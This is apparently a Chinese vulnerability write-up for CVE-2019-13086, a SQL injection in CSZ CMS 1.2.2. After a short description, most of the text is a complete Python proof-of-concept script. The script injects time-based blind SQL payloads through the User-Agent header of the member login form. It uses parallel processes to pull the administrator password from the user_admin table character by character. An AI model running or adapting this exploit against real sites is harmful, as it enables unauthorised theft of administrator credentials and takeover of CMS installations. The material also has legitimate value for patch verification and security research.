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（CVE-2019-13086）CSZ CMS 1.2.2 sql注入漏洞

一、漏洞简介

CSZ CMS是一套基于PHP的开源内容管理系统（CMS）。 CSZ CMS 1.2.2版本（2019-06-20之前）中的core/MY_Security.php文件存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。

二、漏洞影响

CSZ CMS 1.2.2版本（2019-06-20之前）

三、复现过程

poc

import requests
import time
import threading
import multiprocessing

pool="admin$ABCDEFGHIJKLMNOPQRSTUVWXYZ"+" "+"bcefghjklopqrstuvwxyz1234567890/."
mutex=0

#获取长度用的User-Agent模板
ual="'-(if((length((select name from user_admin limit 1))=10),sleep(5),1))-'', '127.0.0.1','time') #"


#"Why don't you just build something"
#----------------------------------------------------获取管理员用户名长度--------------------------------------------
def getlength(field,tbname,total):
    ual_head="'-(if((length((select "     #这些空格一定要保留
    ual_middle=" limit 1))="
    num=1
    ual_last="),sleep(5),1))-'', '127.0.0.1','time') #"

    datas={'email':'111@111.com',
        'password':'111'
    }

    header={'Host': 'localhost',
            'Content-Length': '74',
            'Cache-Control': 'max-age=0',
            'Origin': 'http://localhost',
            'Upgrade-Insecure-Requests': '1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': ual,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Referer': 'http://localhost/cszcms/member/login',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Connection': 'close'}

    starttime=time.time()
    for num in range(total):
        header['User-Agent']=ual_head+field+" from "+tbname+ual_middle+str(num)+ual_last
        #print(header['User-Agent'])
        sendtime=time.time()
        response=requests.post(r"http://localhost/cszcms/member/login/check/post",data=datas,headers=header)
        recvtime=time.time()

        doesitwork=recvtime-sendtime
        if(doesitwork>5):
            print("The length is",num)
            print("This step cost:",time.time()-starttime)
            return num
            break
        if(num==total-1):
            return 0

#获取内容用的User-Agent模板
ua="'-(if((ascii(substr((select name from user_admin limit 1), 1, 1))=97),sleep(5),1))-'', '127.0.0.1','time') #"

#-----------------------------------------------------获取管理员用户名--------------------------------------------
def getcontent(field,tbname,num,qr,lock):

    #print(num)
    pool="@.tescomadin$ABCDEFGHIJKLMNOPQRSTUVWXYZ"+" "+"bcefghjklpqrstuvwxyz1234567890/."

    result=[]

    ua_head="'-(if((ascii(substr((select "
    ua_front=" limit 1), "
    ua_middle=", 1))="
    char="A"
    ua_last="),sleep(5),1))-'', '127.0.0.1','time') #"

    datas={'email':'111@111.com',
        'password':'111'
    }

    header={'Host': 'localhost',
            'Content-Length': '74',
            'Cache-Control': 'max-age=0',
            'Origin': 'http://localhost',
            'Upgrade-Insecure-Requests': '1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': ua,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Referer': 'http://localhost/cszcms/member/login',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Connection': 'close'}

    for i in range(1):
        for char in pool:
            header['User-Agent']=ua_head+field+" from "+tbname+ua_front+str(num+1)+ua_middle+str(ord(char))+ua_last
            #print(header['User-Agent'])

            lock.acquire()
            sendtime=time.time()
            response=requests.post(r"http://localhost/cszcms/member/login/check/post",data=datas,headers=header)
            lock.release()

            recvtime=time.time()

            doesitwork=recvtime-sendtime
            if(doesitwork>5):
                #print("It cost:",doesitwork)
                print(num," got:",char)
                #adminnamelist[num]=char    
                result=[num,char]
                qr.put(result)
                break

#---------------------------------------------现在！让我们重新揭起救世的大旗！------------------------------------

if __name__=='__main__':

    qr=multiprocessing.Queue()
    lock=multiprocessing.Lock()

    field="password"
    tbname="user_admin"

    adminname=""
    adminpwd=""

    getresult=[]

    #调用获得长度的函数
    length=getlength(field,tbname,100)  
    print("length is",length)

    processes=[]


    #开线程分别对每个字符匹配
    timehead=time.time()

    for ti in range(length):
        processes.append(multiprocessing.Process(target=getcontent,args=(field,tbname,ti,qr,lock)))
        processes[ti].start()

    for ti in range(length):
        processes[ti].join()

    fout=open(field+"out.txt","w+")
    for ci in range(length):
        getresult.append(qr.get())
    print(getresult)
    for ci in range(length):
        for result in getresult:
            if(result[0]==ci):
                print(result[1])
                adminname+=result[1]

    fout.write(adminname)
    print(field,":",adminname)
    fout.close()
    print("It took:",time.time()-timehead)